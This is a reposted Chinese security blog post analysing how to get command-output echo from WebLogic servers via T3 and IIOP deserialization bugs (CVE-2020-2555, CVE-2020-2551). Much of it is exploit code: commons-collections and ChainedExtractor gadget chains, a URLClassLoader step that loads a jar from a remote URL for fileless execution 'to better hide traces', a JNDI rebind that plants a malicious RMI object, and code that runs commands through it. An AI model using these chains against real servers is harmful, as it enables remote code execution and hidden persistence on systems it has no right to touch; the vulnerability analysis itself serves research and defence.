zoukankan      html  css  js  c++  java
  • weblogic T3/iiop 回显分析

    感谢大佬关注公众号,不胜感激

    powered by UnicodeSec

    简介

    传统weblogic T3协议回显分析

    这里主要分析 https://github.com/5up3rc/weblogic_cmd这个工具回显利用工具。

        private static Transformer[] defineAndLoadPayloadTransformerChain(String className, byte[] clsData, String[] bootArgs) throws Exception {
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(DefiningClassLoader.class),
                    new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
                    new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
                    new InvokerTransformer("defineClass",
                            new Class[]{String.class, byte[].class}, new Object[]{className, clsData}),
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{bootArgs}}),
                    new ConstantTransformer(new HashSet())};
            return transformers;
        }
    

    通过common-collection相关gadget,想办法调用org.mozilla.classfile.DefiningClassLoader这个类去加载字节码。然后通过T3协议的反序列化漏洞发送给待攻击weblogic服务器。并绑定一个实例。
    org.mozilla.classfile.DefiningClassLoader的定义如下

    public Class defineClass(String var1, byte[] var2) {    return super.defineClass(var1, var2, 0, var2.length);}
    

    这样就实现从字节码到类的转变。而我们需要发送的恶意类,主要作用是绑定一个实例,完成攻击者与weblogic的rmi交互即可。恶意类的绑定实例代码如下

                RemoteImpl remote = new RemoteImpl();
    
                Context ctx = new InitialContext();
                ctx.rebind("aaaaaaaa", remote);
                System.out.println("installed");
    

    RemoteImpl一定要继承自ClusterMasterRemote这个接口,才可以完成rmi交互。

    下面我们向 weblogic12.1.4 发送一下payload测试一下

    可以看出,weblogic早就通过黑名单过滤的方式,禁止该类工具的攻击。下面我们分析一下T3反序列化漏洞

    T3反序列化分析

    weblogic首先在moudle/com.oracle.weblogic.kernel.jar中 的ExexuteThread.class的run函数中监听7001的连接,并调用execute方法去处理请求,也就是req,如图

    this.execute的代码如下

    void execute(ExecuteRequest er) {
            ++this.executeCount;
            this.setTimeStamp(System.currentTimeMillis());
            er.execute(this);
        } catch (ThreadDeath var3) {
    // 各种捕获异常
    }
    

    ExexuteThread中的executeCount为请求总数,随后调用erexecute去处理。也就是包装请求的类,这里为SocketReaderRequestSocketReaderRequest主要为获取muter,然后调用processSockets去处理请求。
    这里主要是通过Nio去处理请求,写入请求等,与漏洞分析的关系不太大。在这里将会根据请求,调用相应的协议处理请求,例如T3,http等

    最后在SocketMuxerreadReadySocketOnce中,将请求全部读取完后,调用weblogic.rjvm.t3.MuxableSocketT3@7ec904fc:Socket[addr=/127.0.0.1,port=57524,localport=7001]dispatch去处理分发请求。
    最后会调用readObject去读取请求。如图

    serverChannelInputStreamresolvClass中,会对待反序列化的类检查一下是否为weblogic黑名单中的类,并防止该类反序列化。这里就是传说中的weblogic反序列化黑名单。

    黑名单列表主要如下,相关代码位置在wlclient.jar/weblogic/utils/io/oif/WeblogicIbjectInputFilter.class

    classloader 加载器

    即使我们使用其他gadget绕过,结果还是会报错,报错截图如下

    说明weblogic 12.1.4 已经无法使用该类。但是现实情况下,我们又不可能直接上传一个文件,或者说为了执行无文件加载,以便更好隐藏痕迹。所以,这里我用URLClassLoader这个类,去加载远程jar包。当然,也算是无文件落地。代码截图如下

    改成gadget利用方式代码如下。该gadget目标是触发待加载类的绑定功能,也就是test函数

            ChainedExtractor chainedExtractor = new ChainedExtractor(new ReflectionExtractor[]{
                    new ReflectionExtractor(
                            "getConstructor",
                            new Object[]{new Class[]{URL[].class}}
                    ),
                    new ReflectionExtractor(
                            "newInstance",
                            new Object[]{new Object[]{new URL[]{new URL(remoteClassPath)}}}
                    ),
                    new ReflectionExtractor(
                            "loadClass",
                            new Object[]{className}
                    ),
                    new ReflectionExtractor(
                            "getMethod",
                            new Object[]{"test", new Class[]{}}
                    ), new ReflectionExtractor(
                    "invoke",
                    new Object[]{null, new Object[]{}}
            )
            });
    

    结论

    1. T3协议的传输主要基于java反序列化
    2. T3协议中,如果待反序列化中的任意一个类在黑名单列表,反序列化都会终止,并抛出异常

    所以,我们想要在新版本weblogic实现回显,就有如下两个思路

    1. 可以绕过黑名单的gadget 例如cve-2020-2555
    2. 新的反序列化途径,根本就没有黑名单过滤,例如cve-2020-2551

    T3回显方案(cve-2020-2555)

    既然上面已经分析了,T3的话,我们可以使用cve-2020-2555的gadget去实现相关功能,最终触发恶意类的绑定函数,成功绑定一个实例,并可以实现执行命令,如图,

    查看jndi绑定树

    不足之处

    该gadget无法在weblogic 10.3.6 下使用,因为找不到相关gadget的类,如图

    IIop 回显方案(cve-2020-2551)

    通过之前的分析,我们可以得出结论,weblogic的iiop反序列化不会使用weblogic黑名单。所以,通过iiop的反序列化漏洞+common-collection相关gadget可以实现通用版本的回显方案。这里需要注意,单纯在攻击端执行bind触发漏洞,是不会绑定一个实例的。即使绑定成功,也无法远程调用的。java反序列化不会传递类的代码和结构,只会传输类中的变量。所以这也就是我们为什么需要classloader的原因。

    IIOP绑定实例

    首先创建一个iiiop的context

            String rhost = converUrl(host, port);
            Hashtable<String, String> env = new Hashtable<>();
            // add wlsserver/server/lib/weblogic.jar to classpath,else will error.
            env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
            env.put("java.naming.provider.url", rhost);
            return new InitialContext(env);
    

    然后构造2555或者common-collection的gadget,然后调用context的rebind发送反序列化对象,主要是调用恶意类的bind功能,恶意类的代码如下

    gadget如下

            BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
            Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
            field.setAccessible(true);
            field.set(badAttributeValueExpException, limitFilter);
            System.out.println("CVE-2020-2555 Gadget构造成功,正在发送中...");
            context.rebind("UnicodeSec" + System.nanoTime(), badAttributeValueExpException);
    

    执行成功后如下

    当然这个是无回显的,所以我们需要获取远程对象,检查是否已经绑定成功。所以通过如下代码检测

            try {
                System.out.println("检查是否安装rmi实例");
                Context initialContext = getInitialContext(converUrl(host, port));
                ClusterMasterRemote remoteCode = (ClusterMasterRemote) initialContext.lookup(bindName);
                return remoteCode;
            } catch (Exception e) {
                if (e.getMessage() != null && e.getMessage().contains(bindName)) {
                    System.out.println("rmi实例不存在...正在安装中");
    

    IIOP 执行命令代码

    绑定成功后,首先要获取刚才绑定的恶意类,绑定名称aaaaaaaa,通过 initialContext.lookup函数查找。查找成功后,通过下面代码实现命令执行以及回显

            String commandResponse = remoteCode.getServerLocation("showmecode" + command);
            System.out.println("命令结果如下");
            System.out.println(commandResponse);
    

    恶意类的getServerLocation如下

    当然上述操作已经打包成工具,执行如下

    参考:

    1. https://xz.aliyun.com/t/7393
    2. https://github.com/5up3rc/weblogic_cmd
  • 相关阅读:
    BZOJ 2724: [Violet 6]蒲公英
    codeforces Lightsabers (hard)
    BZOJ 3884: 上帝与集合的正确用法
    BZOJ 4809: 皇后
    python的变量类型(Day6)
    Python集合方法整理(Day9)
    基本运算符与流程控制(Day5)
    基本数据类型(Day4)
    第一个Python程序(Day3)
    操作系统(Day2.5)
  • 原文地址:https://www.cnblogs.com/potatsoSec/p/12580655.html
Copyright © 2011-2022 走看看